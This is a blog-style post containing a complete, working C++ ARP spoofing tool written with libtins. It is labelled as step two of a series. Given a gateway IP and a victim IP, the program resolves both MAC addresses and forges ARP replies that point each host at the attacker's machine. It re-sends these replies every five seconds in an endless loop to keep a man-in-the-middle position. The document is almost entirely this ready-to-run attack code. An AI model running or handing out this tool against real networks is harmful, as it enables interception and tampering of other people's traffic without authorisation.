[ARP Spoofing] 2. Send ARP Reply to Victim (Do Arp Spoofing)

/***************
*    Author : 5kyc1ad
*    2016.04.26 : 11:52
****************/
 
#include <tins/tins.h>
#include <unistd.h>
 
using namespace Tins;
using namespace std;
 
void arpSpoofing(IPv4Address, IPv4Address);
 
int main(int argc, char *argv[])
{
    if(argc !=3) {
        cout << "[*] Usage : " << argv[0] << " [Gateway] [Victim]" << endl;
        return 1;
    }
    IPv4Address gateway, victim;
    try {
        gateway = argv[1];
        victim = argv[2];
    } catch(...) {
        cout << "[*] Please input arguments correctly" << endl;
        return 1;
    }
    try {
        arpSpoofing(gateway, victim);
    } catch (runtime_error& ex){
        cout << "[*] Runtime Error : " << ex.what() << endl;
        return 1;
    }
    return 0;
}
 
void arpSpoofing(IPv4Address gateway, IPv4Address victim) {
    NetworkInterface iface;
    NetworkInterface::Info info;
    try {
        iface = gateway;
        info = iface.addresses();
    } catch(runtime_error& ex){
        cout << ex.what() << endl;
        return;
    }
 
    PacketSender sender;
    EthernetII::address_type gw_hw, victim_hw;
    gw_hw = Utils::resolve_hwaddr(iface, gateway, sender);
    victim_hw = Utils::resolve_hwaddr(iface, victim, sender);
 
    cout << "[*][*] Attack Configure" << endl;
    cout << "[*] Gateway : " << gateway << ", " << gw_hw << endl;
    cout << "[*] Victim  : " << victim << ", " << victim_hw << endl;
    cout << "[*] Own_IP  : " << info.ip_addr << ", " << info.hw_addr << endl;
 
    ARP arp_toGateway(gateway, victim, gw_hw, info.hw_addr), arp_toVictim(victim, gateway, victim_hw, info.hw_addr);
    arp_toGateway.opcode(ARP::REPLY);
    arp_toVictim.opcode(ARP::REPLY);
 
    // Generate Ethernet Packet for Capsulation
    EthernetII eth_toGateway = EthernetII(gw_hw, info.hw_addr) / arp_toGateway;
    EthernetII eth_toVictim  = EthernetII(victim_hw, info.hw_addr) / arp_toVictim;
 
    cout << "[*][*] Attack Start" << endl;
 
    while(true) {
        sender.send(eth_toGateway, iface);
        sender.send(eth_toVictim, iface);
        clog << "[*] Do ARP Spoofing" << endl;
        sleep(5);
    }
}